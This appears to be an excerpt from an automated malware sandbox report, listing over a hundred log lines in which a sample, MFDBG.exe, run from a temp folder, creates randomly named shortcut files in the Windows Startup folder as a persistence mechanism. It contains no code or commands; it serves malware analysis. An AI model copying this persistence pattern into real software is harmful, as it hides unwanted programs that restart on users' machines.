Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4178df279e5a4ce3bda39fbf6484144f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2886683de244325be147c05fd99a7a2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbdb0c2f79b4403fa949451a75908dd7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7164ba6916484b16beccacd38d82d5eb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68f3363f0d3342ef970448aa4e9c6472.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07b2f22b586041fcb482324a015aa4c7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71b159d28dff48558066aed0f9e2d7c8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95c4a620e7c54d51bcd5d5734b0b139b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74397b91852c4305a52fbdae5b4699ee.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af69a3071f6e43b8b81e8b2f718a041f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fea3fd30906f4f4293d9939cd494c87c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_661c9c404d5a4cb38dfa37a647a7ab6e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1b9a061317f42338cb95985a24a3681.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73f9842952ec4b7e8d8214da8f4c186b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a240e77830949ec8eaa9483da0e0ba9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_143ec38e28af40e584cada10cac44145.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ade6b44efc74a239d67203fecc80a57.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81557168fff74d42a4ccc696bb554d7b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_762d026cbe9d4d3ab50cbdbff32698fb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63db1a430d05465daea4982ab73643fb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ef176e6c7e541ed87941dfa4d51d947.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d1f077e0861b44359694aa86ac4c1f8f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8982795395448b2af5a7d2228283738.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a1b371b863c43a39d58c1ef48c87fd9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddaef215b5f94e928806881b30c4c26d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a93a72c9e1ff456296b25c49375fccc2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bce814e4d34b4f13ad46659db63c6755.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ccad92900c8c4193b607ef59847cda31.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36614cc8e6d64b739ed5420e58158db8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b45060d654474d14b17946be679c6ff0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b63fd18c61e45a2a69da02a77b6cae2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_512f3a3cc35b42a993273a712966b520.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f3f35018572b4e30beaf27a2130b03a6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3fc8e1dfb72b44fb97adcd47a137554c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8abbfe4a9fb45c5925ed2162f56c03e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de87ac04095c42828e589942136ccc83.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f1bdd8b5276240d1b3a9c14941b2a4a4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96f9b404456a4034b18cc338a359a3e2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c402b051017458989db30251ea42f2e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d160cbb77e0441191ff8365d42cc8b5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0060a766c9324a82b2153384f07ad606.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fdab65bee15467f92450d21e8942779.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39a3b2b95c3749b3b3bbdffd453898c3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c71c1ec640d34b82b0a9ebce5fed88d6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65b9e092743e458992e1607ba654e8fb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eb72681046a24f9f9829c03d3aac6520.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_012ce6f389ed4085a8b4276b1de0490f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_304d7be656714b56af7146a46fbf0f0a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35bf748cf7ea499fb44ca7dfcc17a54a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6b75230b3574084bc1beeff36d091e9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_602bb0cc7247407585d7f06df8a91adf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ebe99bc9abc44598bb8ddaba8d7db14.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c6ea1a702f7475eae226df616b7cbea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c8a65ed8fa642c3a58dc30af99e1c2c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9430932e02d4930b86404bc83f4b01f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54f422d4dfca4108804fc12fa4d5aaf5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de3e1854d2944691a5455c82910efe54.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a049137838a414ca646f477d69ed65d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_814ae808355d485a958324b74e63fbb2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d85fafeab2c241fd9c3c702e4c96c281.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1b1cc846f4384af5bca984cdc801783e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6020de927f5c4828ad0c197c2eb9f2e9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea69a13e5edb4f24b924148a22950e10.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4744d43c07e4ddcbe6f5b2b1f247a6f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec0eabfa906046c2b68bc47d466452c2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b69fea6e725640ca93786cbfbde484ec.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b912ce81b17f4fdbbe1204856cbf594d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd3f913feeca4e3ba16a90670b06fff0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6958a62d4996438c9bfb131cd3f93324.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dac6ab3ed6064ffcaf5c3bf08e34bcea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b793847fb8b4fbabf88bbb3854fa309.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4369fa10e8b428fa840f415ebf3463a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ecb3761cf3e44ecb380bcea4c22761a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0939f2254e64eecbdb19bc061e67814.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0841af81df5c4789999d286058831f3c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d77e03ddfacf4ffea428a7fc9b2ad85c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce29066f0ed54865b64426eec94f8634.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0664cb379dc449479b8620c0767b2d4b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_402602c9ae434363a1c93dd056c84e48.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f67ede159eb418fa1efd2dc875792ff.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa7b184c69b2407fad6277bf243f695a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9b8ae6421564651baaef2547305162e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_923de965825044c7ae03300916e3fca5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0a03534ff00463da01f84cea86e0340.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06e8928a08014fc8941ae999d623dfba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41be732e3ff840e5a8ceb0c390846446.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_804f575baffa4f8e828a189ec654bffa.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa1a8c50c52249ab96404829fbbaa183.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3741afc35b7b41b7a4b91f803debe09e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef280b3dae0646fc888ea035120a1401.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fade9f44c9f1475aacfc1a78cfeceb85.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c189cfde674c43c9b18d8b5c10799a6a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea412a937c8f4345801c5e0a1d9936c3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b359967855974c4796bd26b1fe4caac6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b81795b810b74b2b87cd7b0d4130c8a7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdaa5df16e174ed788b6e68d27d93f83.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f633019f85ca46109e20b0b3dce4ea3d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_235dc46f6525492197c1cc3b643bffd7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2c265907d6942159b1a690da3ea182e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b91a9735c3f5410586fc3f331af33a4a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d21f8609c5d4b54be15006a40ae8442.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_497c430486a94d04b03b7304f2c01324.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3415c32e5e3845419a4cde46e2ad4d82.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12979304079d4ea0b08e9e4c8d89e5ad.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9e6c00c7b45d448781623dbe3dcb1fba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe3be04df2b74227bfa649ba2f1c8d90.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b70242fd6cc145e09ad93eea3c722040.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56be2fc2e2824b82a4d1aa2e4f825d4b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6cdc4e5d68ef4987bf084c0632fc6fd8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b3292ee4b54499981f534d8c68fa072.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_896a76fe42514262a17db6edd33a12ea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5cbbb66582874b91bfbce5a64643adc9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3dd4ead8572f43ecbb102396059fc660.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db3e027a419840378f1eed22d7ea17aa.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_03ecb2de113c4c7cb2450ed2ce2d928a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05e877f68fb74312b266fadde37b2085.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0d7262d409643ada551807261f2cb63.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fa9a2f8f5dc4b50bddc9a6e864a5532.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e8f60b81e28d4100b82a50472f05d494.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66cab4256b274cd38e0e691b91c40640.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02f45764ad8240deacb03df570eda525.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef4f68e4da2a4f3c9d407c41914fbfbc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3fa8010d51bb4430a281d06cc56b8171.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b2db4b2cc4d48148941852fb26f47a9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_395b0318016f4a048cbd60eebf29a8f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b9e66ef9e3f48a6b486466896767748.lnk Jump to behavior
